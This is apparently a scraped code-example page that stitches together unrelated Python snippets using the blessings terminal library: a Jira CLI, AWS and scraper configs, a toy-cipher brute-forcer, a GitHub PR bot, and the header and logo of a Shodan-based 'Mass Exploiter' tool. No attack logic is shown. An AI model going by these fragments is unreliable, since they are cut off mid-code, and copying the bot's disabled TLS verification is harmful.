NO_LEMMAS = TERMINAL.yellow(TERMINAL.bold("NO LEMMAS "))

INCORRECT = TERMINAL.bold(TERMINAL.red("\t INCORRECT: "))
STEPSIZE_INC = TERMINAL.bold(TERMINAL.yellow("\t STEPSIZE INC: "))
STEPSIZE_DEC = TERMINAL.bold(TERMINAL.yellow("\t STEPSIZE DEC: "))
TIMEOUT = TERMINAL.bold(TERMINAL.red("\t TIMEOUT "))
Exemplo n.º 20
0
###   This is the SAbEncryption cracker, made to show the weakness of the SAbE (why? well, just for fun)   ###

## General principles:
## - Make math operation, with each guess of the key
## Output format:
## - Wrong guess prints a line with format -<key>: [Err: values too high for ASCII]-
## - A possible guess prints -<key>: <phrase>-

from blessings import Terminal  ## |-- Some prettyfied terminal output with Blessings
t = Terminal()  ## |

crypted = input('The phrase to decrypt: ')

## The HACK-ing process
for key in range(0, 255 + 1):
    guess = ''
    tmp = ''
    for pos, char in enumerate(crypted):
        tmp += char
        try:
            ## Makes sure that -tmp- currently has 3 digits, for any plaintext symbol is always encrypted into a 3-digit number
            if pos in range(2, 10000, 3):
                ## Adds a character (stored in -tmp-) to a final guess (for the current key), via
                guess += str(chr(int(tmp) - 100 - key))
                tmp = ''
        ## It may (and, is likely to do frequently) be so, that the number would be too large for the -chr()- func, so let's leave those blank
        except ValueError:
            break
    if guess == '':
        print(f'{key}: ' + t.bold_red('[Err: values too high for ASCII]'))
    else:
Exemplo n.º 21
0
def warn_out(msgs):
    """
    Print the given error message (or list of messages) and exit.
    """
    term = Terminal()
    _out(msgs, "WARNING", term.yellow)
def string_color(ansi_value, string, on_color=16):
    term = Terminal()
    return term.on_color(on_color) + term.color(
        ansi_value) + string + term.normal
Exemplo n.º 23
0
 def __init__(self):
     self.term = Terminal()
Exemplo n.º 24
0
def main():
    term = Terminal()
    if sys.version_info < (2, 7):
        raise RuntimeError(
            "Jirafs requires minimally version 2.7 of Python 2, or "
            "any version of Python 3.  Please upgrade your version of "
            "python before using Jirafs.")
    if utils.get_git_version() < LooseVersion('1.8'):
        raise RuntimeError(
            "Jirafs requires minimally version 1.8 of Git.  Please "
            "upgrade your version of git before using Jirafs.")

    commands = utils.get_installed_commands()

    parser = argparse.ArgumentParser(
        description='Edit Jira issues locally from your filesystem',
        add_help=False,
    )
    parser.add_argument('command', type=six.text_type, choices=commands.keys())
    parser.add_argument('--subtasks', action='store_true', default=False)
    parser.add_argument(
        '--log-level',
        default='INFO',
        dest='log_level',
    )
    parser.add_argument('--folder', default=os.getcwd())
    parser.add_argument(
        '--no-subfolders',
        action='store_true',
        default=False,
    )
    parser.add_argument(
        '--traceback',
        action='store_true',
        default=False,
    )
    args, extra = parser.parse_known_args()

    logging.config.dictConfig(LOGGING)
    root_logger = logging.getLogger()
    root_logger.setLevel(logging.getLevelName(args.log_level))

    command_name = args.command
    cmd_class = commands[command_name]

    # Subtasks
    if args.subtasks:
        cmd_class.RUN_FOR_SUBTASKS = True

    started = time.time()
    logger.debug('Command %s(%s) started', command_name, extra)
    jira = utils.lazy_get_jira()
    try:
        value = cmd_class.execute_command(extra,
                                          jira=jira,
                                          path=args.folder,
                                          command_name=command_name)
        logger.debug('Command %s(%s) finished in %s seconds', command_name,
                     extra, (time.time() - started))
        if value:
            value.echo()
        sys.exit(value.return_code)
    except GitCommandError as e:
        print(u"{t.red}Error (code: {code}) while running git "
              u"command.{t.normal}".format(t=term, code=e.returncode))
        print("")
        print(u"{t.red}Command:{t.normal}{t.red}{t.bold}".format(t=term))
        print(u"    {cmd}".format(cmd=e.command))
        print(u"{t.normal}".format(t=term))
        print(u"{t.red}Output:{t.normal}{t.red}{t.bold}".format(t=term))
        for line in e.output.decode('utf8').split('\n'):
            print(u"    %s" % line)
        print(u"{t.normal}".format(t=term))
        if args.traceback:
            traceback.print_exc()
        sys.exit(10)
    except NotTicketFolderException:
        if not getattr(cmd_class, 'TRY_SUBFOLDERS', False):
            print(u"{t.red}The command '{cmd}' must be ran from "
                  u"within an issue folder.{t.normal}".format(
                      t=term, cmd=command_name))
            sys.exit(20)
        elif args.no_subfolders:
            sys.exit(20)

        count_runs = 0
        for folder in os.listdir(os.getcwd()):
            full_path = os.path.join(
                os.getcwd(),
                folder,
            )
            if not os.path.isdir(full_path):
                continue

            try:
                full_args = copy.copy(sys.argv)
                if '--no-subfolders' not in full_args:
                    full_args.append('--no-subfolders')
                result = subprocess.call(' '.join(
                    [shlex_quote(a) for a in full_args]),
                                         cwd=full_path,
                                         shell=True)
                if result == 0:
                    count_runs += 1
            except NotTicketFolderException:
                pass
        if count_runs == 0:
            if args.traceback:
                traceback.print_exc()
            sys.exit(21)
    except JIRAError as e:
        print(u"{t.red}Jirafs encountered an error while interacting with "
              u"your JIRA instance: {t.normal}{t.red}{t.bold}{error}"
              u"{t.normal}".format(t=term, error=str(e)))
        if args.traceback:
            traceback.print_exc()
        sys.exit(70)
    except JiraInteractionFailed as e:
        print(u"{t.red}JIRA was unable to satisfy your "
              u"request: {t.normal}{t.red}{t.bold}{error}{t.normal}".format(
                  t=term, error=str(e)))
        if args.traceback:
            traceback.print_exc()
        sys.exit(80)
    except JirafsError as e:
        print(u"{t.red}Jirafs encountered an error processing your "
              u"request: {t.normal}{t.red}{t.bold}{error}{t.normal}".format(
                  t=term, error=str(e)))
        if args.traceback:
            traceback.print_exc()
        sys.exit(90)
Exemplo n.º 25
0
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# set your aws env vars to production

from blessings import Terminal

# terminal colors
TERM = Terminal()

# Number of previous amis to keep based on grouping strategy
# not including the ami currently running by an ec2 instance
KEEP_PREVIOUS = 4

# the way to regroup AMIs, the default filtering pattern is the creation date
# and the possible other values are :
#
# name : with a grep into the ami name
#        ex: ubuntu => ["ubuntu-20160122", "ubuntu-20160123"]
# tags : with keys provided in GROUPING_STRATEGY_TAGS_KEYS, it filters AMI tags
#        ex: ["Role", "Env"] => ["ubuntu-20160122"]
#
MAPPING_KEY = "tags"


MAPPING_VALUES = ["environment", "role"]
Exemplo n.º 26
0
logger = logging.getLogger(__name__)

##If set to True all the scraping results will be udpated to the database
UPDATE_DB = True
import ConfigParser

config = ConfigParser.RawConfigParser()
config.read("zomato_dom.cfg")
driver_exec_path = "/home/%s/Downloads/chromedriver"%(getpass.getuser())
DRIVER_NAME = "CHROME"
PROXY_ADDRESS = config.get("proxy", "proxy_addr")

#StartScrapeChain.apply_async(["https://www.zomato.com/ncr/restaurants", 30, 0, False])
from blessings import Terminal
terminal = Terminal()
"""
To run tasks for scraping one restaurant 
runn.apply_async(["https://www.zomato.com/ncr/pita-pit-lounge-greater-kailash-gk-1-delhi", None, None, True])

TO scrape a list of restaurant use this
runn.apply_async(args=["https://www.zomato.com/ncr/south-delhi-restaurants", 30, 270, False])
	 Task.acks_late
	     If set to True messages for this task will be acknowledged after the task has been executed, 
	     not just before, which is the default behavior.
	
	Task.ErrorMail
	    If the sending of error emails is enabled for this task, then this is the class defining the 
	    logic to send error mails.
	
	Task.store_errors_even_if_ignored
Exemplo n.º 27
0
#!/usr/bin/env python2.7

import os, sys
import shodan
import pickle
import time

from blessings import Terminal
from subprocess import PIPE, Popen

t = Terminal()

# Global vars
api = ""
query = ""
workspace = ""
local_port = ""
local_host = ""
configured = False
toolbar_width = 60


# Logo
def logo():
    print t.cyan("""
                              _____     _       _____     _     _ _   
#--Author : Vector/NullArray |  _  |_ _| |_ ___|   __|___| |___|_| |_ 
#--Twitter: @Real__Vector    |     | | |  _| . |__   | . | | . | |  _|
#--Type   : Mass Exploiter   |__|__|___|_| |___|_____|  _|_|___|_|_|  
#--Version: 1.0.0                                    |_|             
##############################################
Exemplo n.º 28
0
def main():
    """Handles External PRs (PRs from forks)

    Performs the following operations:
    1. If the external PR's base branch is master we create a new branch and set it as the base branch of the PR.
    2. Labels the PR with the "Contribution" label. (Adds the "Hackathon" label where applicable.)
    3. Assigns a Reviewer.
    4. Creates a welcome comment

    Will use the following env vars:
    - CONTENTBOT_GH_ADMIN_TOKEN: token to use to update the PR
    - EVENT_PAYLOAD: json data from the pull_request event
    """
    t = Terminal()
    payload_str = get_env_var('EVENT_PAYLOAD')
    if not payload_str:
        raise ValueError('EVENT_PAYLOAD env variable not set or empty')
    payload = json.loads(payload_str)
    print(f'{t.cyan}Processing PR started{t.normal}')

    org_name = 'demisto'
    repo_name = 'content'
    gh = Github(get_env_var('CONTENTBOT_GH_ADMIN_TOKEN'), verify=False)
    content_repo = gh.get_repo(f'{org_name}/{repo_name}')
    pr_number = payload.get('pull_request', {}).get('number')
    pr = content_repo.get_pull(pr_number)

    # Add 'Contribution' Label to PR
    contribution_label = 'Contribution'
    pr.add_to_labels(contribution_label)
    print(f'{t.cyan}Added "Contribution" label to the PR{t.normal}')

    # check base branch is master
    if pr.base.ref == 'master':
        print(f'{t.cyan}Determining name for new base branch{t.normal}')
        branch_prefix = 'contrib/'
        new_branch_name = f'{branch_prefix}{pr.head.label.replace(":", "_")}'
        existant_branches = content_repo.get_git_matching_refs(
            f'heads/{branch_prefix}')
        potential_conflicting_branch_names = [
            branch.ref.lstrip('refs/heads/') for branch in existant_branches
        ]
        # make sure new branch name does not conflict with existing branch name
        while new_branch_name in potential_conflicting_branch_names:
            # append or increment digit
            if not new_branch_name[-1].isdigit():
                new_branch_name += '-1'
            else:
                digit = str(int(new_branch_name[-1]) + 1)
                new_branch_name = f'{new_branch_name[:-1]}{digit}'
        master_branch_commit_sha = content_repo.get_branch('master').commit.sha
        # create new branch
        print(f'{t.cyan}Creating new branch "{new_branch_name}"{t.normal}')
        content_repo.create_git_ref(f'refs/heads/{new_branch_name}',
                                    master_branch_commit_sha)
        # update base branch of the PR
        pr.edit(base=new_branch_name)
        print(
            f'{t.cyan}Updated base branch of PR "{pr_number}" to "{new_branch_name}"{t.normal}'
        )

    # assign reviewers / request review from
    reviewer_to_assign = determine_reviewer(REVIEWERS, content_repo)
    pr.add_to_assignees(reviewer_to_assign)
    pr.create_review_request(reviewers=[reviewer_to_assign])
    print(f'{t.cyan}Assigned user "{reviewer_to_assign}" to the PR{t.normal}')
    print(
        f'{t.cyan}Requested review from user "{reviewer_to_assign}"{t.normal}')

    # create welcome comment
    body = WELCOME_MSG.format(selected_reviewer=reviewer_to_assign)
    pr.create_issue_comment(body)
    print(f'{t.cyan}Created welcome comment{t.normal}')
Exemplo n.º 29
0
import shutil

from blessings import Terminal

from errors import *
from world_map.world_map import WorldMap
from world_map.zones import DungeonZone
from utilities import turn, health_bar, clear_screen
from mobs.player import choose_class

# TODO: Rename Utils so it doesn't clash with standard library utils.

# initialize terminal
term = Terminal()

# initialization values
player = None
world_map = WorldMap()
starting_zone = DungeonZone(world_map)
starting_room = starting_zone.room_array[1][1]


class Main:
    # test for Python 2
    try:
        input = raw_input
    except NameError:
        pass

    while player is None:
        player = choose_class(player, starting_room)
Exemplo n.º 30
0
 def __init__(self, vm, vmx):
     self.t = Terminal()
     self.vm = vm
     self.vmx = vmx
     self.config = Config()